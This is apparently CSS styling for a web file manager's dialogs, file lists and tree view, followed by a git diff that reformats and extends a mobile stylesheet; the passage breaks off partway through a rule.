.topbar-menu.this{background:#49d;background:rgba(255,255,255,0.4);border-color:rgba(255,255,255,0.1);}body .aui-border{background:url("./../../images/common/dialog/dialog.png") -200px 350px;}body .aui-state-focus .aui-title,body .aui-title{background:none;color:#444;text-shadow:0px 0px 0px #000, 0px 0px 1px #aaa, 0px 0px 4px #fff, 0px 0px 8px #fff;}body .aui-outer,body .aui-state-focus .aui-outer{border-radius:5px;text-align:left;background:url("./../../images/common/dialog/dialog.png") -100px 100px;border:1px solid #bbb;border-color:rgba(255,255,255,0.7);position:relative;box-shadow:0 0 8px rgba(0,0,0,0.5), 0 0 1px rgba(0,0,0,0.9);-webkit-transition:box-shadow 0.1s;-moz-transition:box-shadow 0.1s;-o-transition:box-shadow 0.1s;-ms-transition:box-shadow 0.1s;transition:box-shadow 0.1s;}body .aui-state-lock .aui-outer,body .aui-state-lock .aui-state-focus .aui-outer{border:1px solid #bbb;border-color:rgba(0,0,0,0.1);}body .aui-inner{border:1px solid #ddd;background:#fff;border-color:rgba(0,0,0,0.3);}body .aui-dialog{border-radius:2px;}body .aui-border{border-radius:4px;}body .aui-nw,body .aui-ne{width:4px;height:32px;}body .aui-sw,body .aui-se{width:4px;height:4px;}body .aui-nw,body .aui-n,body .aui-ne,body .aui-w,body .aui-e,body .aui-sw,body .aui-s,body .aui-se{background:#999 \9 !important;background:#fff;opacity:0.15;filter:alpha(opacity=15);}body .aui-title-bar{width:100%;height:0;position:relative;bottom:33px;_bottom:0;_margin-top:-33px;}body .aui-min,body .aui-min:hover,body .aui-min:active{right:81px;width:27px;background:url("./../../images/common/dialog/btn-min.png") no-repeat;}body .aui-max,body .aui-max:hover,body .aui-max:active{right:54px;width:27px;background:url("./../../images/common/dialog/btn-max.png") no-repeat;}body .aui-close,body .aui-close:hover,body .aui-close:active{right:5px;width:49px;background:url("./../../images/common/dialog/btn-close.png") no-repeat;}body .aui-max,body .aui-min,body .aui-close{position:absolute;text-decoration:none;-webkit-transition:none;-moz-transition:none;-o-transition:none;-ms-transition:none;transition:none;color:transparent;font-size:0px;cursor:pointer;z-index:10;top:-1px;height:19px;background-position:0 -19px;background-color:none;}body .aui-max:hover,body .aui-min:hover,body .aui-close:hover{background-position:0 -38px;}body .aui-max:active,body .aui-min:active,body .aui-close:active{background-position:0 0px;}body div.dialog-simple .aui-nw,body div.dialog-simple .aui-n,body div.dialog-simple .aui-ne,body div.dialog-simple .aui-w,body div.dialog-simple .aui-e,body div.dialog-simple .aui-sw,body div.dialog-simple .aui-s,body div.dialog-simple .aui-se{display:none;}body div.dialog-simple .aui-max,body div.dialog-simple .aui-min,body div.dialog-simple .aui-close{background-image:none;}body .dialog-max .aui-nw,body .dialog-max .aui-ne,body .dialog-max .aui-sw,body .dialog-max .aui-se,body .dialog-max .aui-w,body .dialog-max .aui-e{width:0px;}body .dialog-max .aui-sw,body .dialog-max .aui-n,body .dialog-max .aui-se{height:0px;}body .dialog-max .aui-outer{border:none;}body .dialog-max .aui-max{background:url("./../../images/common/dialog/btn-reg.png") 0 -19px;}body .dialog-max .aui-max:hover{background-position:0 -38px;}body .dialog-max .aui-max:active{background-position:0 0px;}body .aui-buttons{padding:8px;border-top:1px solid #eee;border-radius:0px 0px 3px 3px;}body .aui-buttons button{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#dddddd');background-image:-webkit-linear-gradient(top,#fff,#ddd);background-image:-moz-linear-gradient(top,#fff,#ddd);background-image:-o-linear-gradient(top,#fff,#ddd);background-image:-ms-linear-gradient(top,#fff,#ddd);background-image:linear-gradient(top,#fff,#ddd);-pie-background:linear-gradient(to top,#fff,#ddd);margin-left:15px;padding:6px 10px;border-radius:2px;height:auto;color:#333;border:solid 1px #999;text-shadow:0px 1px 1px #ffffff;box-shadow:0 1px 0 rgba(255,255,255,0.7), 0 -1px 0 rgba(0,0,0,0.09);-webkit-transition:box-shadow linear .2s;-moz-transition:box-shadow linear .2s;-o-transition:box-shadow linear .2s;-ms-transition:box-shadow linear .2s;transition:box-shadow linear .2s;}body .aui-buttons button:focus{outline:none 0;border-color:#426DC9;box-shadow:0 0 8px rgba(66,109,201,0.9);}body .aui-buttons button:hover{color:#000;border-color:#666;border-color:#426DC9;}body .aui-buttons button:active{border-color:#666;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#dddddd', endColorstr='#ffffff');background-image:-webkit-linear-gradient(top,#ddd,#fff);background-image:-moz-linear-gradient(top,#ddd,#fff);background-image:-o-linear-gradient(top,#ddd,#fff);background-image:-ms-linear-gradient(top,#ddd,#fff);background-image:linear-gradient(top,#ddd,#fff);-pie-background:linear-gradient(to top,#ddd,#fff);}body .aui-buttons button[disabled]{cursor:default;color:#666;background:#DDD;border:solid 1px #999;opacity:0.5;filter:alpha(opacity=50);box-shadow:none;}body .aui-buttons button::-moz-focus-inner{border:0;padding:0;margin:0;}body .aui-buttons button.aui-state-highlight{color:#FFF;border:solid 1px #1c6a9e;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#33bbee', endColorstr='#2288cc');background-image:-webkit-linear-gradient(top,#33bbee,#2288cc);background-image:-moz-linear-gradient(top,#33bbee,#2288cc);background-image:-o-linear-gradient(top,#33bbee,#2288cc);background-image:-ms-linear-gradient(top,#33bbee,#2288cc);background-image:linear-gradient(top,#33bbee,#2288cc);-pie-background:linear-gradient(to top,#33bbee,#2288cc);text-shadow:-1px -1px 1px #1c6a9e;}body .aui-buttons button.aui-state-highlight:hover{color:#FFF;border-color:#0F3A56;background:#2288cc;}body .aui-buttons button.aui-state-highlight:active{border-color:#1c6a9e;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#33bbee', endColorstr='#2288cc');background-image:-webkit-linear-gradient(top,#33bbee,#2288cc);background-image:-moz-linear-gradient(top,#33bbee,#2288cc);background-image:-o-linear-gradient(top,#33bbee,#2288cc);background-image:-ms-linear-gradient(top,#33bbee,#2288cc);background-image:linear-gradient(top,#33bbee,#2288cc);-pie-background:linear-gradient(to top,#33bbee,#2288cc);}body .check-version-dialog.dialog-simple .aui-title-bar{margin-top:-155px;}body .do-search-box .search-result{margin:15px;}body .dialog-no-title.aui-state-focus .aui-outer,body .dialog-no-title .aui-outer,body .dialog-no-title .aui-inner{border:none;}body .select-container{border:1px solid #004c99;background-color:#39f;}body .frame-main .bottom-box{border-color:#e6e6e6;}body .frame-main .frame-left{background:#fff;border-color:#e6e6e6;}body .frame-main .frame-left .ztree li a{border:1px solid #fafafa;border-color:transparent;margin:0px 4px 0 4px;-webkit-transition:none;-moz-transition:none;-o-transition:none;-ms-transition:none;transition:none;color:#333;padding:0px;padding-left:9px;vertical-align:top;}body .frame-main .frame-left .ztree li a:hover{border:1px solid #b3d9ff;color:#444;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6eeff');background-image:-webkit-linear-gradient(top,#fff,#e6eeff);background-image:-moz-linear-gradient(top,#fff,#e6eeff);background-image:-o-linear-gradient(top,#fff,#e6eeff);background-image:-ms-linear-gradient(top,#fff,#e6eeff);background-image:linear-gradient(top,#fff,#e6eeff);-pie-background:linear-gradient(to top,#fff,#e6eeff);}body .frame-main .frame-left .ztree li a.curSelectedNode,body .frame-main .frame-left .ztree li a.curSelectedNode:hover,body .frame-main .frame-left .ztree li a.curDropTreeNode{background:#cdf;color:#444;border:1px solid #39f;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f5f8ff', endColorstr='#ccddff');background-image:-webkit-linear-gradient(top,#f5f8ff,#cdf);background-image:-moz-linear-gradient(top,#f5f8ff,#cdf);background-image:-o-linear-gradient(top,#f5f8ff,#cdf);background-image:-ms-linear-gradient(top,#f5f8ff,#cdf);background-image:linear-gradient(top,#f5f8ff,#cdf);-pie-background:linear-gradient(to top,#f5f8ff,#cdf);box-shadow:0 0 1px #3377ff;}body .frame-main .frame-left .ztree li a.curSelectedNode .noline_open:after,body .frame-main .frame-left .ztree li a.curSelectedNode .noline_open_hover:after,body .frame-main .frame-left .ztree li a.curSelectedNode .noline_close:after,body .frame-main .frame-left .ztree li a.curDropTreeNode .noline_open:after,body .frame-main .frame-left .ztree li a.curDropTreeNode .noline_open_hover:after,body .frame-main .frame-left .ztree li a.curDropTreeNode .noline_close:after{color:#39f !important;}body .frame-main .frame-left .ztree li a.curDropTreeNode{box-shadow:0 0 0 1px #1aa1ff inset !important;}body .file-select{background:#cdf;color:#444;border:1px solid #39f;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f5f8ff', endColorstr='#ccddff');background-image:-webkit-linear-gradient(top,#f5f8ff,#cdf);background-image:-moz-linear-gradient(top,#f5f8ff,#cdf);background-image:-o-linear-gradient(top,#f5f8ff,#cdf);background-image:-ms-linear-gradient(top,#f5f8ff,#cdf);background-image:linear-gradient(top,#f5f8ff,#cdf);-pie-background:linear-gradient(to top,#f5f8ff,#cdf);}body .file-hover{border:1px solid #b3d9ff;color:#444;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6eeff');background-image:-webkit-linear-gradient(top,#fff,#e6eeff);background-image:-moz-linear-gradient(top,#fff,#e6eeff);background-image:-o-linear-gradient(top,#fff,#e6eeff);background-image:-ms-linear-gradient(top,#fff,#e6eeff);background-image:linear-gradient(top,#fff,#e6eeff);-pie-background:linear-gradient(to top,#fff,#e6eeff);}body div.file-continer .file{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;}body div.file-continer .file.select,body div.file-continer .file.file-select-drag-temp{background:#cdf;color:#444;border:1px solid #39f;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f5f8ff', endColorstr='#ccddff');background-image:-webkit-linear-gradient(top,#f5f8ff,#cdf);background-image:-moz-linear-gradient(top,#f5f8ff,#cdf);background-image:-o-linear-gradient(top,#f5f8ff,#cdf);background-image:-ms-linear-gradient(top,#f5f8ff,#cdf);background-image:linear-gradient(top,#f5f8ff,#cdf);-pie-background:linear-gradient(to top,#f5f8ff,#cdf);}body div.file-continer .file.hover{border:1px solid #b3d9ff;color:#444;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6eeff');background-image:-webkit-linear-gradient(top,#fff,#e6eeff);background-image:-moz-linear-gradient(top,#fff,#e6eeff);background-image:-o-linear-gradient(top,#fff,#e6eeff);background-image:-ms-linear-gradient(top,#fff,#e6eeff);background-image:linear-gradient(top,#fff,#e6eeff);-pie-background:linear-gradient(to top,#fff,#e6eeff);}body div.file-continer .file.hover.select,body div.file-continer .file.hover.file-select-drag-temp{background:#cdf;color:#444;border:1px solid #39f;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f5f8ff', endColorstr='#ccddff');background-image:-webkit-linear-gradient(top,#f5f8ff,#cdf);background-image:-moz-linear-gradient(top,#f5f8ff,#cdf);background-image:-o-linear-gradient(top,#f5f8ff,#cdf);background-image:-ms-linear-gradient(top,#f5f8ff,#cdf);background-image:linear-gradient(top,#f5f8ff,#cdf);-pie-background:linear-gradient(to top,#f5f8ff,#cdf);}body .file-continer .file .item-menu,body .ztree li a .menu-item{border-radius:2px;}body .dropdown-menu,body .topbar .content .top-right ul{-webkit-box-shadow:2px 3px 2px rgba(0,0,0,0.2);-moz-box-shadow:2px 3px 2px rgba(0,0,0,0.2);box-shadow:2px 3px 2px rgba(0,0,0,0.2);border:1px solid #ccc;border-radius:0;padding:3px;background:#f8f8f8;}body .dropdown-menu .this a,body .dropdown-menu a.this,body .topbar .content .top-right ul .this a,body .topbar .content .top-right ul a.this{background:#cdf;color:#444;border:1px solid #39f;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f5f8ff', endColorstr='#ccddff');background-image:-webkit-linear-gradient(top,#f5f8ff,#cdf);background-image:-moz-linear-gradient(top,#f5f8ff,#cdf);background-image:-o-linear-gradient(top,#f5f8ff,#cdf);background-image:-ms-linear-gradient(top,#f5f8ff,#cdf);background-image:linear-gradient(top,#f5f8ff,#cdf);-pie-background:linear-gradient(to top,#f5f8ff,#cdf);}body .dropdown-menu li > a,body .topbar .content .top-right ul li > a{-webkit-transition:transform 0.2s;-moz-transition:transform 0.2s;-o-transition:transform 0.2s;-ms-transition:transform 0.2s;transition:transform 0.2s;margin:0 2px;border:1px solid transparent;}body .dropdown-menu li > a:hover,body .dropdown-menu li > a:focus,body .topbar .content .top-right ul li > a:hover,body .topbar .content .top-right ul li > a:focus{border:1px solid #b3d9ff;color:#444;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6eeff');background-image:-webkit-linear-gradient(top,#fff,#e6eeff);background-image:-moz-linear-gradient(top,#fff,#e6eeff);background-image:-o-linear-gradient(top,#fff,#e6eeff);background-image:-ms-linear-gradient(top,#fff,#e6eeff);background-image:linear-gradient(top,#fff,#e6eeff);-pie-background:linear-gradient(to top,#fff,#e6eeff);}body .frame-main .frame-right frame-right-main .drop-menu-action a{padding:3px 30px;}body .context-menu-list{-webkit-box-shadow:2px 3px 2px rgba(0,0,0,0.3);-moz-box-shadow:2px 3px 2px rgba(0,0,0,0.3);box-shadow:2px 3px 2px rgba(0,0,0,0.3);border:1px solid #aaa;border-radius:0;padding:3px;background:#f1f1f1 url("./../../images/common/line.png") 28px 0 repeat-y;}body .context-menu-list .context-menu-item{padding:0px 15px 0 5px;border:1px solid #f8f8f8;border-color:transparent;-webkit-transition:none;-moz-transition:none;-o-transition:none;-ms-transition:none;transition:none;color:#333;}body .context-menu-list .context-menu-item .font-icon{width:17px;margin-left:-2px;}body .context-menu-list .context-menu-item.context-menu-separator{height:2px;background:url("./../../images/common/line_x.png") 27px no-repeat;margin:2px 0 2px;border-bottom:none;}body .context-menu-list .context-menu-item > .context-menu-list{display:none;right:-5px;top:5px;}body .context-menu-list .context-menu-item.hover > .context-menu-list .hover .font-icon{color:#444;}body .context-menu-list .context-menu-item.hover,body .context-menu-list .context-menu-item.selected.hover{border:1px solid #b3d9ff;color:#444;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6eeff');background-image:-webkit-linear-gradient(top,#fff,#e6eeff);background-image:-moz-linear-gradient(top,#fff,#e6eeff);background-image:-o-linear-gradient(top,#fff,#e6eeff);background-image:-ms-linear-gradient(top,#fff,#e6eeff);background-image:linear-gradient(top,#fff,#e6eeff);-pie-background:linear-gradient(to top,#fff,#e6eeff);color:#666;border-color:rgba(51,153,255,0.7);}body .context-menu-list .context-menu-item.hover .font-icon,body .context-menu-list .context-menu-item.selected.hover .font-icon{color:#666;}body .context-menu-list .context-menu-item.hover span > b,body .context-menu-list .context-menu-item.selected.hover span > b{color:#aaa;}body .context-menu-list .context-menu-item .selected,body .context-menu-list .context-menu-item .selected.hover{border-left:1px solid #b3d9ff;} \ No newline at end of file diff --git a/static/style/wap/app_explorer.css b/static/style/wap/app_explorer.css index 7890240..f55ba8a 100755 --- a/static/style/wap/app_explorer.css +++ b/static/style/wap/app_explorer.css @@ -32,8 +32,10 @@ a.button:focus { outline: none;} .init-loading{position:fixed;left:50%;margin-left:-80px;top:40%;font-size:1.25em;z-index:999999;width:auto;} -.init-loading div{padding:20px;background:#000;opacity:0.6;margin:0 auto;color:#FFF; - border-radius:6px;text-align:center;line-height:30px;} +.init-loading div{ + padding:20px;background:#fff;opacity:0.6;margin:0 auto; + border-radius:6px;text-align:center;line-height:30px; +} .init-loading img{border-radius:10px;} @@ -58,7 +60,7 @@ a.button:focus { outline: none;} .file-list-list .file .filename{ text-overflow:ellipsis;overflow: hidden; color: #444;font-size: 14px;padding-top: 4px; - white-space: nowrap;padding-right: 90px; + white-space: nowrap;padding-right: 90px; } .file-list-list .file .filetime{margin-top: -9px;color:#bbb;} .file-list-list .file .filesize{float: right;width: auto;margin-right:50px;padding-left: 0;margin-top: -17px;} @@ -86,28 +88,30 @@ a.button:focus { outline: none;} } .file-list-list .file .meta-info{ width: 25px;height: 25px; - position: absolute; - top: 15px;left:20px; + position: absolute; + top: 15px;left:20px; +} +.dialog-simple.dialog-min-size .aui-title-bar { + background: rgba(0,0,0,0.5); } - .btn-list-icon{ position: absolute;top: 0;right: 0; - width: 42px;height: 42px;line-height: 42px;text-align: center; - border-left: 1px solid rgba(255,255,255,0.1); + width: 42px;height: 42px;line-height: 42px;text-align: center; + border-left: 1px solid rgba(255,255,255,0.1); } .btn-list-icon .font-icon:before{content:"\f0ca";} .btn-list-icon.active .font-icon:before{content:"\f00a";} .file-list-list.icon{ - display: flex; - justify-content: space-between; - flex-wrap: wrap; - align-items: flex-start; + display: flex; + justify-content: space-between; + flex-wrap: wrap; + align-items: flex-start; } .file-list-list.icon .file,.file-list-list.icon .flex-empty{ width: 85px;height: 120px;border:none;float: left;margin:5px; - /*display: flex;justify-content: space-between;flex-wrap: wrap;align-items: flex-start;*/ + /*display: flex;justify-content: space-between;flex-wrap: wrap;align-items: flex-start;*/ } .file-list-list.icon .flex-empty{ width: 85px;height: 1px;border:none;float: left;margin:5px; @@ -125,33 +129,23 @@ a.button:focus { outline: none;} width:80px;height:80px;margin-left: 3px;margin-top: 2px;line-height:80px; } .file-list-list.icon .x-item-file{background-size:contain;} +.file-list-list.icon .file .ico img{ + pointer-events: none; + z-index:-1; +} .file-list-list.icon .file-action { - position: absolute; - right: 4px;padding: 0;margin-top: -80px;border-radius: 50%; - font-size: 12px;text-align: center; - background: rgba(0,0,0,0.05);color: #eee; - width: 25px;height: 25px;line-height: 25px; -} -.file-list-list.icon .file-action-menu { - height: auto;position: fixed;bottom: 0;left:0;z-index: 99999; - background-color: rgba(0,0,0,0.03); -} -.file-list-list.icon .file-action-menu .action-menu{ - width: 100%;height: 40px;line-height: 40px; - background-color: rgba(0,0,0,0.03); - border-bottom: 1px solid rgba(0,0,0,0.05); -} -.file-list-list.icon .file-action-menu .action-menu .content{ - display: inline-block;width:200px;text-align: left;margin-left:120px; -} -.file-list-list.icon .file-action-menu .action-menu .content .font-icon{ - display: inline-block;width: 20px; + position: absolute; + right: 5px;padding: 0;margin-top:-80px;border-radius: 50%; + font-size: 13px;text-align: center; + background: rgba(0,0,0,0.05);color: #eee; + width: 30px;height: 30px;line-height: 33px; } + .file-list-list.icon .file .meta-info {top: 20px;left: 20px;right: 5px;left: auto;} .file-list-list.icon .file:hover { - background: #def; + background: #def; } .path-is-null{ @@ -173,7 +167,13 @@ a.button:focus { outline: none;} pointer-events: none; } -.panel-menu .x-item-file{width:35px;height:35px;margin-top: 5px;} +.panel-menu .x-item-file{ + width:35px;height:35px; + margin-top: 5px; + text-align: center; + font-size: 30px; + line-height: 35px; +} .x-txt,.x-textile,.x-oexe,.x-inc,.x-csv,.x-log,.x-asc,.x-tsv,.x-lnk,.x-url,.x-webloc,.x-meta,.x-localized,.x-xib,.x-xsd,.x-storyboard,.x-plist,.x-csproj,.x-pch,.x-pbxproj,.x-local,.x-xcscheme,.x-manifest,.x-vbproj,.x-strings,.x-jshintrc,.x-sublime-project,.x-readme,.x-changes,.x-changelog,.x-version,.x-license,.x-changelog,.x-abap,.x-abc,.x-as,.x-asp,.x-aspx,.x-ada,.x-adb,.x-htaccess,.x-htgroups,.x-htgroups,.x-htpasswd,.x-asciidoc,.x-adoc,.x-asm,.x-a,.x-ahk,.x-bat,.x-cmd,.x-cpp,.x-c,.x-cc,.x-cxx,.x-h,.x-hh,.x-hpp,.x-ino,.x-c9search-results,.x-cirru,.x-cr,.x-clj,.x-cljs,.x-cbl,.x-cob,.x-coffee,.x-cf,.x-cson,.x-cakefile,.x-cfm,.x-cs,.x-css,.x-curly,.x-d,.x-di,.x-dart,.x-diff,.x-patch,.x-dockerfile,.x-dot,.x-dummy,.x-dummy,.x-e,.x-ge,.x-ejs,.x-ex,.x-exs,.x-elm,.x-erl,.x-hrl,.x-frt,.x-fs,.x-ldr,.x-ftl,.x-gcode,.x-feature,.x-.gitignore,.x-glsl,.x-frag,.x-vert,.x-gbs,.x-go,.x-groovy,.x-haml,.x-hbs,.x-handlebars,.x-tpl,.x-mustache,.x-hs,.x-hx,.x-html,.x-hta,.x-htm,.x-xhtml,.x-eex,.x-html.eex,.x-erb,.x-rhtml,.x-html.erb,.x-ini,.x-inf,.x-conf,.x-cfg,.x-prefs,.x-io,.x-jack,.x-jade,.x-java,.x-ji,.x-jl,.x-jq,.x-js,.x-jsm,.x-json,.x-jsp,.x-jsx,.x-latex,.x-ltx,.x-bib,.x-lean,.x-hlean,.x-less,.x-liquid,.x-lisp,.x-ls,.x-logic,.x-lql,.x-lsl,.x-lua,.x-lp,.x-lucene,.x-Makefile,.x-makemakefile,.x-gnumakefile,.x-makefile,.x-ocamlmakefile,.x-make,.x-md,.x-markdown,.x-mask,.x-matlab,.x-mz,.x-mel,.x-mc,.x-mush,.x-mysql,.x-nix,.x-nsi,.x-nsh,.x-m,.x-mm,.x-ml,.x-mli,.x-pas,.x-p,.x-pl,.x-pm,.x-pgsql,.x-php,.x-phtml,.x-shtml,.x-php3,.x-php4,.x-php5,.x-phps,.x-phpt,.x-aw,.x-ctp,.x-module,.x-ps1,.x-praat,.x-praatscript,.x-psc,.x-proc,.x-plg,.x-prolog,.x-properties,.x-proto,.x-py,.x-r,.x-cshtml,.x-rd,.x-rhtml,.x-rst,.x-rb,.x-ru,.x-gemspec,.x-rake,.x-guardfile,.x-rakefile,.x-gemfile,.x-rs,.x-sass,.x-scad,.x-scala,.x-scm,.x-sm,.x-rkt,.x-oak,.x-scheme,.x-scss,.x-sh,.x-bash,.x-bashrc,.x-sjs,.x-smarty,.x-tpl,.x-snippets,.x-soy,.x-space,.x-sql,.x-sqlserver,.x-styl,.x-stylus,.x-svg,.x-swift,.x-tcl,.x-tex,.x-toml,.x-twig,.x-swig,.x-ts,.x-typescript,.x-str,.x-vala,.x-vbs,.x-vb,.x-vm,.x-v,.x-vh,.x-sv,.x-svh,.x-vhd,.x-vhdl,.x-wlk,.x-wpgm,.x-wtest,.x-xml,.x-rdf,.x-rss,.x-wsdl,.x-xslt,.x-atom,.x-mathml,.x-mml,.x-xul,.x-xbl,.x-xaml,.x-xq,.x-yaml,.x-yml,.x-cer,.x-reg,.x-config {background-image: url("../../images/file_icon/icon_file/txt.png");} .x-pl,.x-pm,.x-cgi,.x-as,.x-asm,.x-clj,.x-cbl,.x-cfm,.x-d,.x-diff,.x-dot,.x-ejs,.x-erl,.x-ftl,.x-go,.x-hs,.x-vbs,.x-haml,.x-erb,.x-jade,.x-json,.x-jq,.x-jsx,.x-ji,.x-tex,.x-lisp,.x-ls,.x-lsl,.x-lua,.x-lp,.x-matlab,.x-mel,.x-r,.x-yaml,.x-yml {background-image: url("../../images/file_icon/icon_file/code.png");} @@ -426,45 +426,45 @@ body{overflow-x: hidden;} font-size: 16px; } .frame-main .frame-header .tool:hover { - background: rgba(0,0,0,0.2); + background: rgba(0,0,0,0.2); } .frame-main .frame-header .tool .topbar-menu{ - background: none; - display: block; - width: 100%; - padding: 0; - border: none;outline: none; - color: #fff; + background: none; + display: block; + width: 100%; + padding: 0; + border: none;outline: none; + color: #fff; } .frame-main .frame-header .tool-menu-left{left:0px;border-right: 1px solid rgba(255,255,255,0.1);} .frame-main .frame-header .title{margin: 0 auto;text-align: center;font-size: 16px;color:#fff;} .toolbar-menu{ position: fixed; - bottom:30px;right:30px; + bottom:30px;right:30px; } .toolbar-menu .menu-plus{ - height: 50px;width: 50px; - border-radius: 50%; - background: url(../../images/common/menu-plus.png) center center no-repeat; - background-color: rgba(61, 152, 255, 0.9); - box-shadow: 0 10px 10px 0 rgba(38, 149, 255, 0.2); - transition: all 0.2s; - display: inline-block; - padding:0;border:none;outline:none; + height: 50px;width: 50px; + border-radius: 50%; + background: url(../../images/common/menu-plus.png) center center no-repeat; + background-color: rgba(61, 152, 255, 0.9); + box-shadow: 0 10px 10px 0 rgba(38, 149, 255, 0.2); + transition: all 0.2s; + display: inline-block; + padding:0;border:none;outline:none; } .toolbar-menu.open .menu-plus { - transform: rotate(45deg); + transform: rotate(45deg); } .toolbar-menu .dropdown-menu.pull-right{ top: auto !important; - left: auto;right: 20px;bottom: 100px; - position: fixed; - - border-radius: 4px; - border: 1px solid #eee; - box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1); + left: auto;right: 20px;bottom: 100px; + position: fixed; + + border-radius: 4px; + border: 1px solid #eee; + box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1); } @@ -472,7 +472,7 @@ body{overflow-x: hidden;} .frame-main .address{ margin: 0;padding: 0; position: absolute;left:0;right:0; - white-space: nowrap; + white-space: nowrap; } .frame-main .address ul{margin: 0;padding: 0;} .frame-main .address ul li{display: inline-block;cursor:pointer;line-height: 20px;font-size: 12px;} @@ -494,7 +494,7 @@ body{overflow-x: hidden;} line-height:29px; } .frame-main .address ul li a:hover { - background-position: 100% -96px; + background-position: 100% -96px; } .frame-main .address ul li a .address-ico { @@ -543,11 +543,10 @@ body{overflow-x: hidden;} color: #D5D7DD; } .panel-menu ul li:hover { - background: #101a23;color:#fff; + background: #101a23;color:#fff; } .panel-menu ul li span { - position: relative; - top: -10px; + position: absolute; } .panel-menu ul i {margin-right: 10px;margin-left:20px;} @@ -593,12 +592,31 @@ body{overflow-x: hidden;} .file-list-list.icon .file-action-menu .action-menu:hover{ background: #69bdff;color: #fff; } +.file-action-menu .action-menu i{padding-right:3px;} +.file-action-menu .menu-close{text-align: center;background: #f0f8ff;} + + +.file-list-list .file-action-menu { + height: auto;position: fixed;bottom: 0;left:0;z-index: 99999; + background-color: rgba(0,0,0,0.03); +} +.file-list-list .file-action-menu .action-menu{ + width: 100%;height: 40px;line-height: 40px; + background-color: rgba(0,0,0,0.03); + border-bottom: 1px solid rgba(0,0,0,0.05); +} +.file-list-list .file-action-menu .action-menu .content{ + display: inline-block;width:200px;text-align: left;margin-left:120px; +} +.file-list-list .file-action-menu .action-menu .content .font-icon{ + display: inline-block;width: 20px; +} .menu-group.fl.tool.tool-submenu{ left: 42px; - border-right: 1px solid rgba(255,255,255,0.1); + border-right: 1px solid rgba(255,255,255,0.1); } .menu-group.fl.tool.tool-submenu a,.menu-group.fl.tool.tool-submenu a:hover{color:#fff;} .menu-group.fl.tool.tool-submenu .topbar-submenu a{ @@ -609,8 +627,7 @@ body{overflow-x: hidden;} -.file-action-menu .action-menu i{padding-right:3px;} -.file-action-menu .menu-close{text-align: center;background: #f0f8ff;} + .prompt-input input{width: 130px;} .dropdown-menu.pull-right {top: 37px;} .tool-menu-right li a{line-height:25px;color: #666;} @@ -659,6 +676,599 @@ height: 25px; line-height: 25px;float: left; display: block; margin: 10px 0 0 43 +.ztree { + margin: 0px; + padding: 10px 0px; + font-size: 1em; +} +.ztree li { + padding: 0; + margin: 0; + list-style: none; + text-align: left; + white-space: nowrap; + outline: 0; +} +.ztree li ul { + margin: 0; + padding: 0; +} +.ztree li.level0 { + margin-bottom: 4px; +} +.ztree li.level0 > span.tree_icon { + width: 20px; +} +.ztree li span { + line-height: 24px; +} +.ztree li span.button { + line-height: 0; + margin: 0; + display: inline-block; + vertical-align: middle; + cursor: pointer; + outline: none; + background-color: transparent; + background-repeat: no-repeat; + height: 24px; + width: 20px; + margin-right: 5px; +} +.ztree li span.button.switch { + width: 25px; + height: 25px; + margin-right: 0px; + background: none; + text-align: center; + line-height: 25px; +} +.ztree li span.button.switch:hover { + background: rgba(0, 0, 0, 0.03); +} +.ztree li span.button.switch:after { + content: "\f0da"; + font-family: FontAwesome; + color: #aaa; + text-decoration: inherit; + font-size: 1.25em; + line-height: 16px; + padding-left: 6px; + -webkit-font-smoothing: antialiased; +} +.ztree li span.button.switch.noline_docu:after { + content: ' '; +} +.ztree li span.button.switch.noline_open:after, +.ztree li span.button.switch.noline_open_hover:after { + content: "\f0d7"; +} +.ztree li span.button.switch.switch_hover:after { + color: #63acff; +} +.ztree li span.button.ico_loading { + background: url("http://localhost/kod/kod_dev/static/images/common/loading_tree.gif") no-repeat 0 0px transparent !important; +} +.ztree li span.button.ico_loading .x-item-file { + display: none; +} +.ztree li span.tree_icon { + height: 21px; + width: 21px; + background: none; + overflow: hidden; +} +.ztree li span.tree_icon img { + width: 100%; + max-width: 100%; + max-height: 100%; +} +.ztree li a { + padding-top: 0px; + cursor: pointer; + text-decoration: none; + display: block; + margin: 0; + color: #333; + vertical-align: top; + line-height: 24px; + height: 24px; + padding-left: 10px; + border: 1px solid #ffffff; + position: relative; + /*菜单*/ +} +.ztree li a:hover { + text-decoration: none; + -ms-transition: all 0.1s; + -webkit-transition: all 0.1s; + -moz-transition: all 0.1s; + -o-transition: all 0.1s; + transition: all 0.1s; + background: #eeeeee; + height: 24px; + border: 1px solid #eeeeee; +} +.ztree li a.curSelectedNode, +.ztree li a.curDropTreeNode { + border: 1px solid #63acff; + background: #63acff; + line-height: 24px; + height: 24px; + color: #fff; +} +.ztree li a.curSelectedNode .button.switch:after, +.ztree li a.curDropTreeNode .button.switch:after { + color: #fff !important; +} +.ztree li a.curDropTreeNode { + box-shadow: 0 0 0 1px #fff inset !important; +} +.ztree li a.curSelectedNode_Edit { + border: 1px solid #63acff; + background: #63acff; + color: black; + height: 24px; +} +.ztree li a input.rename { + height: 24px; + line-height: 24px; + padding: 0; + margin: 0; + border: none; + outline: none; + margin-left: -3px; + padding-left: 3px; + width: 106px; + position: absolute; + margin-top: 0; +} +.ztree li a span.button.root_docu, +.ztree li a span.button.noline_docu { + background: none; +} +.ztree li a .menu-item { + display: none; + position: absolute; + right: 4px; + top: 4px; + width: 